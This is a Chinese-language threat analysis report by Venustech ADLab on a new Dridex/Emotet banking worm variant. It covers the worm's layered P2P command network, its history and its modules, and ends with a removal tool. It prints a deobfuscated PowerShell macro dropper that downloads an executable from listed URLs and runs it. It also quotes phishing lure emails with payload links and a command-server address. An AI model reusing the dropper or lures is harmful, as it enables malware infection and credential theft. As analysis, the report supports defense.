作者:啟明星辰ADLab

一、分析簡述

2017年8月底,啟明星辰ADLab監測到客戶的一個IP地址頻繁地向多個郵箱地址發送郵件同時利用弱口令方式掃描內網,經過分析確認該攻擊的始作俑者為P2P銀行竊密型蠕蟲---Dridex的新型變種(由于該蠕蟲不同版本均有一個或多個名稱,為了便于描述,本文統稱為Dridex蠕蟲)。Dridex也被稱為Bugat/Cridex/Feodo/Emotet/ Heodo。該蠕蟲通過利用其所感染的大量主機結合P2P的去中心化設計思想,構建出了一個復雜而隱蔽的用于中轉流量的P2P蠕蟲代理網絡,不僅如此,為了隱藏那個背后控制著這一切的幽靈,該蠕蟲實現上還在P2P網絡與控制端服務器之間加了一層壁壘(后端C&C,見后文分析)。

Dridex蠕蟲除了擁有復雜P2P控制機制外,還是一款以竊取銀行賬戶憑證為目的,集僵尸、竊密木馬、郵件蠕蟲等眾多功能于一體的綜合性蠕蟲病毒。為了更好地分析和掌握該蠕蟲新變種的攻擊動向,我們對其進行了長期的追蹤和分析。

Dridex蠕蟲的新型變種通過P2P、多層代理、快速變異、內外網雙渠道感染、RSA-AES通信加密等技術變得比以往任何時候都強大。新變種除了具備以往Dridex以郵件方式傳播外,還具備內網傳播的功能,擴大感染面。并且為了與安全軟件對抗,新變種會頻繁的更新組件并且利用多種免殺打包器對其進行加密變形處理,每隔1個小時左右便會從遠程進行自我更新。更新后的模塊不僅加密免殺方式不同,而且編譯時間、程序圖標、二進制代碼都會發生改變,通過不斷變換加密混淆器的方式來對樣本文件進行頻繁更新以躲避安全軟件查殺。下圖是部分自我更新的變種樣本:

圖1-1變種樣本樣例

此外,通過對樣本代碼及通信流量的解密分析發現,當前變種Dridex幾乎每個樣本都會內置10個左右的C&C,其中大部分C&C只是由感染機轉化而來作為代理使用,并非真實C&C。通過長時間的追蹤分析,我們發現了221臺這樣的C&C服務器(加上無法辨識的新舊版本的C&C共有1175個,主要使用80、443、7080、8080、8081端口作為服務端口),以及上千個受感染的主機和大量受害者的郵箱登錄憑證信息。此處需要說明的是,這些作為數據回傳的C&C實際上大部分并非為真正的C&C服務器,而是受Dridex感染并且被利用來作為代理節點的受害者服務器。

圖1-2和圖1-3是由我們根據Dridex的C&C歸屬地繪制的分布地圖:

圖1-2受害者感染地圖分布

圖1-3 C&C按國家或地區分布

從分布圖中可以看出,該蠕蟲病毒的C&C(大部分是受害者服務器)主要分布在美國、德國、法國和加拿大。雖然該蠕蟲長期以歐美等國家為目標,但通過分析我們發現有很多中國區用戶也受到了該蠕蟲的攻擊,甚至還存在有一定數量的中國區受害者服務器目前或者曾經被該蠕蟲用作回傳竊密信息的中轉服務器。這些服務器IP地址及歸屬地如圖1-4所示:

圖1-4 部分被用作回傳竊密信息的中轉服務器

二、Dridex蠕蟲網絡架構分析

該蠕蟲病毒的網絡架構被設計來隱藏黑客真實的C&C服務器,其呈現出四層的網絡架構,其中第一層(普通感染末端)由大量的普通感染機組成,第二層為復雜P2P代理網絡層,第三層為前端C&C,第四層為黑客真實的C&C據點--后端C&C。

Dridex簡單網絡架構圖示如下:

圖2-1 Dridex網絡架構圖

如上圖所示,第二層的代理主機實際上也是受到Dridex攻擊的受感染機,Dridex利用去中心化的技術(P2P技術)來為后端C&C做掩護。Dridex一旦感染上一臺主機后,會根據感染機特性(是否是服務器、是否處在公網中等條件)選取一部分感染主機作為其P2P網絡的一個代理節點。這些代理節點會直接轉發流量給C&C前端服務器,最后通過C&C前端將數據匯總到C&C后端服務器。

第三層的前端C&C實際上是一臺由黑客成功入侵并控制的linux或者windows服務器主機,此服務器上開啟了Nginx Servers服務用來作為HTTP代理,這些代理主要以8080端口或者443端口作為代理連接口。前端C&C并不承載任何功能,其唯一的目的就是作為Dridex蠕蟲P2P代理節點與后端C&C之間數據通信的中轉站用于轉發數據。

Dridex蠕蟲的第四層(后端C&C)才是黑客實際控制端C&C服務器,其在前端代理C&C背后實現命令控制、擴展組件下發、接收回傳的竊密信息等功能。

Dridex背后的黑客通過在大量感染機中選擇處于外網的主機作為P2P代理節點,這些節點組成了Dridex蠕蟲第二層的P2P代理網絡。P2P代理網絡的每臺主機IP地址都是由后端C&C所管理,并且隨機選擇10-20個IP作為C&C列表下發給新更新的Dridex樣本使用,同時也可能下發給新感染的主機使用。每個被感染的主機內存中都會存在一個Loader模塊來用于收集本機信息實現上線,上線數據用于確定該感染機是服務器、處于外網的普通PC還是處于內網的普通PC等等,以此來決定該感染機的用途。之后Loader會不斷輪詢試探后端C&C來執行相應的功能,如下載各種竊密組件、服務組件、內網感染組件、外網感染組件等等。下載內網感染組件和外網感染組件分別用于蠕蟲的內外網的自我傳播。

Dridex蠕蟲工作原理圖如下:

圖2-2 Dridex蠕蟲工作原理圖

此蠕蟲病毒具有以下幾大特點:

采用P2P方式將部分符合條件的感染機作為代理節點(偽C&C),樣本的功能組件下載、惡意郵件群發、銀行憑證竊取與上傳、瀏覽器網頁登錄憑證竊取與上傳、郵箱登錄憑證竊取與上傳等功能均采用不同代理點來傳輸。

后端C&C隱藏在P2P代理節點和前端C&C之后,難以追蹤和發現真正的C&C服務器。

新型變種有極快的更新速度,在實際分析中發現頻率最高的時候1個小時就更新一次,每次的樣本名稱、圖標、采用的混淆機制、免殺機制都有較大的改變。

Dridex新變種背后的黑客擁有強大的自動化平臺工具,通過自動隨機選擇免殺混淆殼處理更新樣本下發給Loader執行。

雙管齊下的內外網感染模式,一種是通過弱口令方式感染局域網主機并在遠程主機上創建服務;另一種是通過從C&C下載黑客收集的大量電子郵箱登錄憑證登錄并向指定的大批量郵件地址發送帶有Dridex惡意代碼的郵件。

完整的閉環感染模式以完成自動化的擴散,如收集郵箱憑證下發給感染主機用于向目標發送惡意郵件,一旦新的接收者感染該蠕蟲后,又會繼續收集郵箱憑證給C&C,同時局域網感染將加速這個過程的進行。

三、Dridex歷史回溯

Dridex前身Cridex的最早版本于2011年9月被發現,在升級為Dridex后不斷演變成多個版本的綜合性蠕蟲。其曾經發起過多次大規模的攻擊行為,并且造成了非常嚴重的危害,下圖我們列舉了近幾年來的一些關鍵事件。

圖3-1 Dridex歷史事件時間線

2014年7月,Seculert公司的安全研究員發現Dridex竊取了至少5萬個郵箱的登錄賬號和密碼信息列表,此時Dridex主要以感染德國和波蘭為主,其他感染過的國家有奧地利、美國、瑞士、英國、意大利、荷蘭等。

2015年5月,Dridex開始將js腳本文件作為郵件傳播附件進行大面積傳播,該js腳本文件用于下載Locky勒索軟件執行。

2015年8月,經相關安全機構分析統計,在2015年間不到一年的時間里,Dridex已經入侵了橫跨27個國家的成千上萬家企業,并且已經導致英國2千萬英磅(當時合3050萬美元)以上的經濟損失,以及美國1千萬美金的經濟損失。

2015年8月14日,FBI聯合安全廠商搗毀了Dridex服務器并逮捕了一名Dridex幕后操控者。

2016年2月4日,Dridex發生了一次戲劇性事件,那就Dridex蠕蟲病毒后端服務器疑被白帽子入侵,所有下載的模塊被替換成了Avira殺毒軟件。

2016年9月6日,安全研究人員發現新的Dridex變種開始用于竊取虛擬貨幣如比特幣錢包。

2017年4月,Proofpoint研究人員觀測到數百萬次Dridex蠕蟲攻擊,其攻擊手法與從前的攻擊相似,同樣通過郵件攜帶附件的形式進行瘋狂的傳播,只是新的攻擊中添加了通過ZIP打包的vb腳本文件、PDF文件和可執行的PE文件。

2017年5月10日,Dridex蠕蟲變種使用了原子注入技術發動攻擊,以躲避安全產品的查殺。

2017年12月12日,前英國銀行員工植入Dridex蠕蟲幫助兩位黑客洗錢,擔任洗錢黑客的私人信托經理,利用偽造的身份證件開設了多達105個賬戶,匯款與轉賬超過250萬英鎊。

四、Dridex演化過程分析

4.1、傳播渠道演變

Dridex前身Cridex的最早版本于2011年9月被發現。從最初的單純以U盤作為傳播媒介漸漸地發展為以郵件作為媒介,以office、pdf文檔、js腳本作為載體進行自我傳播,最后發展為以內外網雙渠道傳播,其中內網采用弱口令進行傳播,外網仍然采用郵件進行傳播。

圖4-1 Dridex蠕蟲傳播渠道演變

4.2、配置數據的演變

圖4-2 Dridex蠕蟲配置數據演變

Dridex與C&C通信都是通過特定的格式配置文件作為載體,從初期的版本開始這些配置文件都是經過加密傳輸的。之前所有版本的配置文件幾乎都是以xml文件的形式存在,在我們發現的最新變種中這種長期使用的方式已被摒棄,進而直接采用純加密二進制數據來進行傳輸。2011年, Dridex主要通過動態的二進制xml文件更新C&C以及指定攻擊的目標的指定;到2012年,Dridex0.77-0.80版本開始使用加密的明文xml文件作為C&C控制指令的下發并且加入web注入的功能;2014年初,Dridex1.10版本在xml配置文件中加入js腳本重定向功能;2017年,新一代的變種開始放棄xml配置文件,直接采用加密的二進制數據進行通信。

4.3、功能與技術演變

Dridex蠕蟲自2011年被首次發現后經歷了6年的發展,其功能模塊也隨著網絡安全大環境逐步演化。如圖4-3,根據時間關系簡單列出了Dridex這些年來的典型技術變化趨勢。

圖4-3 Dridex蠕蟲功能與技術演變

2011年,Dridex蠕蟲的擴散方式以USB感染為主,通過USB進行擴散。隨著安全產品重點關注接入電腦中的U盤及網民安全意識的提升,USB感染方式在2012年被廢棄。之后,Dridex背后的犯罪團伙開始專注于新的擴散方式和功能模塊的開發,2015年Dridex攜帶著大量惡意功能模塊卷土重來,如:VNC模塊、屏幕截圖模塊、代理模塊、中間人模塊、鍵盤記錄模塊、Web注入模塊。Dridex在2015年名噪一時,后經歷FBI打擊進入短時間沉寂,2016年Dridex利用原子注入技術繞過安全軟件查殺,通過DNS緩存投毒對感染機投放釣魚鏈接,并引入了更豐富的對抗模塊,把安全研究人員和安全廠商的電腦信息列入黑名單,以此來躲避安全廠商和安全研究人員的分析。2017年,Dridex利用Windows默認的恢復光盤程序recdisc.exe繞過UAC,通過第三方工具竊取感染機上的憑證信息,如:瀏覽器密碼,郵箱賬號信息。最新的變種開始取消郵件傳播中的附件,加入局域網感染功能,將反沙箱功能從之前宏中實現改變為了PE實現,使用加密混淆器實現快速自動化的變異,Dridex在長期演變過程中正變得越來越強大。

五、典型樣本剖析

我們當前所發現的Dridex變種是采用混淆免殺器進行處理,同時也將反沙箱、反調試的功能從先前的宏代碼區移到了二進制PE文件中。免殺器通過兩層內嵌的PE加密數據將真實的Loader代碼隱藏起來。Loader由免殺器加載執行后,會收集本機信息作為上線信息向C&C服務器請求控制指令,C&C服務器會根據需要下發各種模塊執行。其中,局域網感染模塊通過局域網掃描將Loader作為感染實體進行傳播;郵件模塊會將原始帶有惡意宏的office文檔作為附件進行傳播;竊密模塊由多個具有竊密功能的模塊組成,主要用于竊取郵箱登錄憑證、瀏覽器網站登錄憑證等信息。

圖5-1 Dridex蠕蟲模塊執行圖

5.1、Loader分析

Loader是Dridex蠕蟲的第一個二進制可執行模塊,該模塊是通過傳播郵件附件中的office文檔宏下載執行的,主要完成上線并且根據C&C配置的指令來完成擴展組件的下載與執行。這個模塊實際由兩層加密混淆器封裝而成,這兩層都是獨立的PE,其中第二層加密混淆器作為加密數據存儲于第一層加密混淆器的數據段部分,而實際的loader(同樣也是PE)則加密存放于第二層混淆器的數據段部分。執行過程中,第二層加密混淆器和最終Loader實體都是不落地到磁盤的,直接被加載到內存中執行。

5.1.1、沙箱環境檢測類型

Loader的加密混淆器會通過檢測沙箱環境來決定自身是否繼續執行,以防止沙箱分析。如果當前環境滿足如下條件,Loader的功能性代碼將不會執行。

表5-1 沙箱監測條件

部分代碼如下:

圖5-2檢測沙箱環境

5.1.2、安裝與駐留

當混淆加密器執行完成后,會將真實Loader可執行代碼解密并加載到內存中執行,此處并不會將解密后的Loader寫入到磁盤中。Loader代碼執行后便會開始安裝蠕蟲病毒,安裝后的文件名稱是由受害者的主機硬件信息計算而得,在一定程度可減少被查殺的幾率。首先,從內存中解密一個生成目標安裝名稱的字符串數組,內容如圖5-3所示:

圖5-3名字表

然后,根據C盤序列號計算出2個整數作為上面字符數組的下標。最后,將這兩個字符串拼接生成安裝文件名。因此,安裝在不同機器上的病毒文件的名稱均不相同。

接下來,Loader會根據當前文件全路徑計算得到一個長度為4個字節的字符串作為Event和Mutex,文件路徑計算方法如圖5-4所示:

圖5-4 計算Event和互斥體名

例如:C:\Windows\System32\logoncrypt.exe經過計算后得到的是字符串DAB0BF1F,然后在該字符串前面加上“E”或者“M”分別作為事件和互斥體名。形如:

Event="EDAB0BF1F"
Mutex="MDAB0BF1F"

然后,Loader會依據不同版本的目標操作系統采用兩種方式進行自啟動方式的設置。

如果權限允許則通過服務方式實現開機自啟動,服務名稱由C盤序列號計算而得。服務創建代碼如圖5-5所示:

圖5-5 創建服務啟動

如果目標主機開啟了UAC而無法通過服務方式來啟動,則直接向注冊表的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run鍵寫入啟動的PE文件路徑,功能代碼如圖5-6所示。

圖5-6 寫注冊表實現自啟動

此外,蠕蟲在安裝之前會測試C&C服務器是否有效,如果無效,便不會進行安裝操作。

5.1.3、獲取上線信息

Loader將蠕蟲成功安裝后,便會上線通知C&C并且以此獲取執行指令。該變種Dridex的C&C是內嵌在Loader文件中的加密數據中,每個樣本大概有10-20個數量不等的C&C。解密后C&C數據格式如圖5-7所示:

圖5-7 內置的C&C信息

該列表每一項為8個字節的二進制數據,其中前4個字節為IP地址后4個字節為端口。比如在0x001B1278地址存儲的是IP:0x6BAAB199轉為點分十進制后得到IP地址為107.170.177.15。在0x001B127C地址存儲的是端口信息,0x00001F90,轉為十進制后為8080。

Dridex蠕蟲病毒通過調用一個使用頻率較低的Windows API(CreateTimerQueueTimer)來啟動上線和擴展組件的下載。

圖5-8 啟動定時隊列回調

通過該API來實現定時隊列調用,每一秒鐘啟動回調函數執行。回調函數中使用一個全局控制標志來控制代碼執行流程。

回調函數在經過一系列初始化工作之后,將系統中的進程列表、系統版本型號等信息加密發送給控制端完成上線操作,C&C服務器會根據上線信息來下發合適的擴展組件執行。

圖5-9 獲取系統信息

圖5-10 進程列表

在我們分析期間,該樣本自我更新速度非常快,而且更新的樣本編譯時間基本沒有規律,可以看出Dridex新變種的C&C服務器后端是一個高度自動化的樣本生成平臺。

5.1.4、上線協議分析

該樣本的上線數據是通過POST方式提交給控制端服務器的。上線信息中攜帶了當前樣本的運行模式、樣本CRC值、感染機的硬件標識,進程列表信息等內容。

通信過程中,樣本會將啟動時隨機生成的AES秘鑰通過RSA加密后發送給C&C服務器,C&C服務器得到秘鑰后通過自有私鑰解密,獲得通信秘鑰。之后,樣本的所有通信數據都通過該秘鑰進行加密,其采用的加密算法為AES-128-CBC。內置的公鑰數據如圖5-11所示:

圖5-11 內置公鑰

通過對多個蠕蟲樣本的跟蹤,我們發現這個公鑰每隔2-5天會更換一次。

此外,樣本通過ObtainUserAgentString函數獲取Windows操作系統下的User-Agent,然后構造HTTP的POST請求發送給C&C服務器。比較有意思的是,請求成功后,服務器端會返回“偽404”響應來傳輸數據,猜測可能是為了繞過IDS檢測或者迷惑運維人員。網絡請求的數據包如圖5-12所示:

圖5-12 POST請求和應答

發送的數據結構內容的二進制代碼如圖5-13所示:

圖5-13 構造數據包

接收的數據內容解密的二進制代碼如圖5-14所示:

圖5-14 解密數據包

通過對通信數據加密、解密邏輯的分析發現,發送數據的前0x60字節存儲的是被公鑰加密的KEY,從0x61-0x74存儲的是發送明文的SHA1,從0x75字節開始到結尾的數據是被AES加密的數據。服務器接收到請求數據后,首先會通過私鑰解密前邊的KEY,然后用這個KEY來解密0x74之后的密文,最后通過計算解密后的內容的SHA1來和0x61-0x74的HASH進行比較,來確認數據是否被篡改。當被蠕蟲感染的主機接收服務器返回的內容時,會使用前面生成的KEY對0x75字節之后的數據進行解密,然后計算解密后的明文SHA1,最后通過公鑰對該HASH進行簽名認證。

根據前面分析的通信數據格式,我們可以看出,每條數據并沒有攜帶時間戳,因此Dridex蠕蟲病毒存在數據包重放漏洞。

5.1.5、啟動執行下載組件

Loader模塊只是作為一個先導模塊用于安裝駐留,本身并沒有實現相關的惡意操作,具體惡意操作均由從C&C端下載而來的擴展組件實現。在需要下載擴展組件執行時,Loader會從自帶的一個C&C列表中順序連接這些C&C下載相應的擴展組件執行。根據對Loader中的啟動邏輯的分析,我們發現其有3種不同的組件執行方式:

(1)落地啟動進程:這種方式下載的程序文件為exe可執行文件,下載的模塊文件會寫到磁盤中,可用于Dridex Loader的自動升級和擴展組件的下載,實現代碼如圖5-15所示:

圖5-15 落地文件

(2)內存加載DLL,這種方式主要用于下載擴展DLL組件,下載的模塊文件不落地磁盤。樣本通過自主實現的PE加載器直接將下載到內存中的PE格式數據加載執行,如內網感染模塊、郵件傳播模塊、竊密模塊等都是由此下載執行。部分代碼如圖5-16所示:

圖5-16 線程啟動DLL

(3)指定session執行下載模塊,同樣可用于自我更新和擴展組件執行,下載的模塊文件會寫入到磁盤上。由于該樣本在Windwos XP和沒有開啟UAC的機器上會通過服務啟動,所以當有些功能模塊(如登錄憑證獲取)加載時需要借助當前登錄用戶的身份。如果當前系統開啟UAC,落地文件則以當前登錄用戶啟動。功能代碼如圖5-17所示:

圖5-17 根據不同環境創建進程

5.2、內網感染模塊分析

內網感染模塊是Loader下載的用于局域網傳播的模塊,該模塊是一個DLL文件,采用第二種方式加載執行。其主要功能就是掃描感染主機局域網并嘗試弱口令爆破目標,如果成功則使用Loader程序感染局域網內其他主機。其中弱口令密碼字典加密存儲在該模塊的數據區,通過對加密數據解密后統計其自身攜帶有共計999個密碼項的密碼字典。部分經過解密的弱口令密碼內容如圖5-18所示:

圖5-18 部分弱口令

感染局域網過程如下:

調用WNetEnumResourceW,枚舉系統所有連接的網絡資源。

使用空口令調用WNetAddConnection2W,建立網絡鏈接。

如果連接失敗,則調用NetUserEnum枚舉系統所有用戶,然后使用上邊內置的弱口令對網絡資源進行連接。如果連接成功,則將當前的Loader文件拷貝到目標主機上并以服務的方式啟動執行。局域網電腦的偽代碼,如圖5-19所示。

圖5-19 感染局域網偽代碼

5.3、郵件傳播模塊

郵件傳播模塊要以群發帶有惡意word、excel等文件附件的郵件來達到外網感染的目的,該模塊延續了老版Dridex的感染模塊,但不同的是新型變種采用了SSL加密STMPS協議進行郵件的傳播感染,使得IDS,IPS等設備難以監測。郵件感染模塊在進行郵件傳播之前,會向C&C服務器(與Loader類似,以加密C&C列表方式內嵌在PE文件中)請求大量的郵箱賬號和密碼作為發送者,大量郵箱地址作為收件者(攻擊目標)以及郵件內容模板作為感染郵件內容。而這些信息的請求都是通過RSA+AES的方式進行加密,通信協議類似Loader,但內置的公鑰不同。公鑰內容的內存dump如下:

圖5-20 公鑰數據

郵件感染模塊在進行感染傳播過程中會將一段固定格式的數據作為攻擊結果和狀態回饋給C&C服務器,這段數據同樣也是加密傳輸,采用的通信方式是HTTP POST方式。我們通過逆向還原了該結構如下:

struct POSTMAILSERVER
{
int nFlag;          //常量0x5818DA3
char *strSingleFlag;    // 機器名+C盤卷標識
int nLenFlag;       // strSingleFlag的長度
int nCountNum;      //郵件發送序號
int nCountSend;     //郵件發送個數
int nCountSuccess;  //郵件發送成功個數
int nSuccessNum;    //郵件發送成功序號
};

此外,模塊在請求發件人賬號密碼、收件人郵箱地址、郵件內容模板時該結構初始化為0。

表5-2是其中用于請求數據和回饋數據的C&C。

表5-2 用于請求數據和回饋數據的C&C

如果請求的POST數據合法,C&C服務器則會返回這三種類型的信息。

5.3.1、獲取發送郵件賬戶信息

郵件感染模塊會向C&C服務請求大量的郵箱賬戶和密碼信息。黑客通過Dridex將竊取到的大量郵箱賬號登錄憑證信息上傳到C&C服務器中,并利用這些已竊取的郵箱登錄憑證用于傳播Dridex,新傳播的Dridex又會將竊取到的郵箱登錄憑證上傳給C&C服務器,這樣Dridex的感染路徑就形成了一個自我傳播的正反饋回路,大大增強了感染速度。在追蹤分析過程中,我們發現了近千個郵箱的登錄憑證,圖5-21是分析過程中所dump出的部分郵箱登錄憑證。

圖5-21 部分郵箱登錄憑證

5.3.2、獲取接收者郵箱信息

接收者郵箱同樣也是由C&C指定,這些郵箱地址的用戶名看起來比較像根據字典生成的,但是目前無法完全確認,也有可能是竊密模塊收集的受害者的郵件聯系人。部分受害者郵箱見表5-3。

表5-3 部分受害者郵箱列表

5.3.3、獲取郵件內容

Dridex的郵件內容是由C&C指定并由郵件傳播模塊下載并組裝成郵件發送到受害者郵箱。這樣黑客可以更加靈活的構造郵件內容,一方面可以在傳播過程中調整郵件內容更好地欺騙受攻擊者,另一方面還可以快速更換已經被列為垃圾郵件或者惡意郵件的內容,提高感染率。下面是兩封郵件的例子:

郵件內容1

Dear {RCPT.NAME},
I have paid the outstanding balance today by bank transfer - $4124.81.
Please see attached our new address details, please could you update your records.
http://fwstation.com/New-invoice-738536/GB-MCB/2017-12-Oct-17/

Thanks for your business!
{FRIEND.NAME}
{FRIEND.EMAIL}

郵件內容2

I have herein attached the Oct 2017 Invoice.
Can you please confirm receipt.
You may click on this link to make payment http://favrefamily.ch/Invoice-Dated-12-Oct-17-97802834/POA-QSCSF/2017/
http://favrefamily.ch/Invoice-Dated-12-Oct-17-97802834/POA-QSCSF/2017/

Thank you!

郵件內容都是與銀行、金融相關的信息,新變種的傳播郵件沒有將惡意payload附在郵件的附件中,而是在郵件內容中提供payload的鏈接,這在一定程度上降低了被殺毒軟件查殺的風險。

Payload文件與之前版本的Dridex類似,都是一個攜帶有惡意宏的Office文檔。打開后的內容如下:

圖5-22 payload-office1

另一個會顯示如下頁面:

圖5-23 payload-office2

兩個文件的內容排版雖然不同,但都是誘惑用戶去開啟宏。并且兩個word宏解密后的內容是相同的。

圖5-24 宏代碼

去混淆后,我們得到如下腳本:

$wscript = new-object -ComObject WScript.Shell;
$webclient = new-object System.Net.WebClient;$random = new-object random;
$urls = 'http://justinhophotography.com/PaT/,
http://ashtralmedia.com/DqrESMyO/,
http://anosales.net/JwZDg/,
http://earthwind.com/fi/,
http://henkbruurs.nl/Sq/'.Split(',');
$name = $random.next(1, 65536);
$path = $env:temp + '\\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);
Start-Process $path;break;}catch{write-host 
$_.Exception.Message;

通過腳本內容我們可以看到一個url列表,腳本通過這個url列表中url拼湊一個完整exe文件的下載路徑并啟動執行。因而,一旦目標用戶點擊了word并啟用了宏,該惡意的exe文件便會獲得執行,而這個文件就是我們當前所分析的Loader模塊。

5.4、竊密模塊

在對最新的Dridex蠕蟲跟蹤分析過程中,我們捕獲了多個竊密模塊,其中3個比較重要的模塊分別是郵箱竊密模塊、瀏覽器竊密模塊以及Outlook竊密模塊。由于P2P網絡層的原因,不同的竊密模塊直接通信的IP地址會有所不同,當然這些IP只是P2P網絡中的節點,并非真實C&C服務器。雖然直接通信的IP不同,但是由于后臺C&C為同一個C&C服務器,所以這三個竊密模塊與C&C通訊時使用的公鑰是相同的,并且和郵件傳播模塊的公鑰也為同一個公鑰。為了實現傳播的正向反饋,竊密模塊回傳給C&C后端服務器的郵箱登錄憑證經過處理后,再由C&C下發給其他感染機用于傳播。

通過對這三個竊密模塊的分析發現,郵箱竊密模塊和瀏覽器竊密模塊的代碼來自Nirsoft提供的憑證dump工具,郵箱竊密模塊包含了Outlook竊密模塊的功能。這三種模塊都會將竊密信息保存到C:\ProgramData\XXXX.tmp目錄中,并在合適的時機加密上傳給C&C服務器。

(1)我們從郵箱竊密模塊的PDB信息中發現了如下路徑信息,可推斷該模塊重用了Nirsoft的Mail PassView工具。它的PDB信息如圖5-25所示:

圖5-25 PDB路徑

Mailpv是Mail PassView工具。該工具支持Outlook Express、Microsoft Outlook、Windows Mail、Windows Live Mail、IncrediMail、Eudora、Netscape、Mozilla Thunderbird、Group Mail Free、Yahoo Mail、Hotmail、Gmail、Google Talk等類型郵箱的賬戶獲取,軟件界面如圖5-26所示:

圖5-26 Mail PassView

當該模塊以命令行參數/scomma "C:\ProgramData\xxxx.tmp"啟動時,不會顯示應用程序的窗口,從而實現靜默執行。獲取到的密碼會保存到該指定目錄下,在郵箱竊密模塊中,該目錄名是隨機生成的。

竊密的文件格式如下:

username,Outlook 2016,username@sina.com,imap.sina.com,993,No,IMAP,username,password,Outlook,Strong,smtp.sina.com,587

(2)瀏覽器竊密組件則是利用nirsoft的組件工具WebBrowserPassView實現的。該工具的工作界面如下:

圖5-27 WebBrowserPassView

我們從內存中獲取到的WebBrowserPassView版本為1.8.0.0,版本信息如圖5-28所示:

圖5-28 WebBrowserPassView版本信息

其獲取的竊密信息文件內容如下:

URL,Web Browser,User Name,Password,Password Strength,User Name Field,Password Field,Created Time,Modified Time
https://xxx.com/home,Chrome,test@sina.com,test,Strong,username,password,2017/10/9 15:22:07,
https://www.xxx.org/users/sign_in,Chrome,test@sina.com,test,Strong,user[email],user[password],2017/10/9 10:22:20,

(3)Outlook竊密模塊是通過com組件CLSID_OlkAccountManager來獲取Outlook的賬號密碼信息。首先,通過注冊表鍵值HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft Outlook獲取所需加載的com組件路徑并加載,如圖5-29 所示:

圖5-29 獲取OLMAPI32.dll路徑

然后,通過com組件CLSID_OlkAccountManager來獲取Outlook的賬號密碼信息,二進制代碼如圖5-30所示。

圖5-30 CLSID_OlkAccountManager

最后,將收集到的帳號密碼信息以"\r\n%s<%s>"格式寫入到指定的文件中,文件內容如下:

Microsoft\Office\16.0\Outlook
test<test@sina.com>

收集到賬號信息后,模塊會再次構造POST請求并將獲竊取到的賬戶信息回傳給C&C服務器。

struct POSTMAILSERVER
{
int nFlag;          // 常量0x041C0F76
?char *strSingleFlag;   // 機器名+C盤卷標識
int nLenFlag;       // strSingleFlag的長度
int nLenBuf;            // 賬戶文件UTF8編碼緩沖
LPVOID lpBufAccount;    // 賬戶文件內容
};

構造請求的偽代碼如圖5-31 所示:

圖5-31 構造POST請求上傳密碼數據

六、Dridex新變種專殺工具

在深入分析了該變種蠕蟲后,啟明星辰ADLab推出了一款Dridex最新變種的簡易專殺工具(下載鏈接:http://adlab.venustech.com.cn/list.html?type=security_tools)。該工具可有效地清除機器中的Dridex最新變種,工具主界面如下:

圖6-1 專殺工具主界面

使用時,可先點擊掃描按鈕,如果當前主機感染上了該變種Dridex,便會出現如下提示:

圖6-2 掃描

然后可對其進行查殺。點擊查殺按鈕后,可對新型的Dridex變種進行有效查殺。

圖6-3 查殺

此外,通過對Dridex新型變種的分析,我發現該變種存在可免疫漏洞,通過創建特定目錄可以實現有效的免疫,即使工具退出運行后也能長期起到很好的免疫作用。

圖6-4 開啟免疫功能

七、總結

Dridex在經歷多年的發展進化后,已經形成了集蠕蟲、僵尸、竊密木馬、勒索軟件、P2P代理于一身的混合型蠕蟲病毒。該蠕蟲同時具備內外網擴散、正反饋的閉環感染、C&C服務器及通信流量隱藏、對抗分析、快速變異、模塊化等高級能力。在竊密功能上,它不僅可竊取各種主流郵件客戶端以及瀏覽器保存的登錄憑證(賬號和密碼信息),還會收集銀行、信用卡等相關登錄和支付憑證,危害極大,曾經在歐美造成過巨大影響并且直接導致銀行和用戶巨大的經濟損失。近幾年來看,已有相當一部分中國用戶受到感染并且有部分中國IP被作為竊密數據回傳的中間服務器(Dridex的P2P代理節點),因此需要各企業單位及個人用戶提高警惕。


啟明星辰積極防御實驗室(ADLab)

ADLab成立于1999年,是中國安全行業最早成立的攻防技術研究實驗室之一,微軟MAPP計劃核心成員。截止目前,ADLab通過CVE發布Windows、Linux、Unix等操作系統安全或軟件漏洞近400個,持續保持國際網絡安全領域一流水準。實驗室研究方向涵蓋操作系統與應用系統安全研究、移動智能終端安全研究、物聯網智能設備安全研究、Web安全研究、工控系統安全研究、云安全研究。研究成果應用于產品核心技術研究、國家重點科技項目攻關、專業安全服務等。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/509/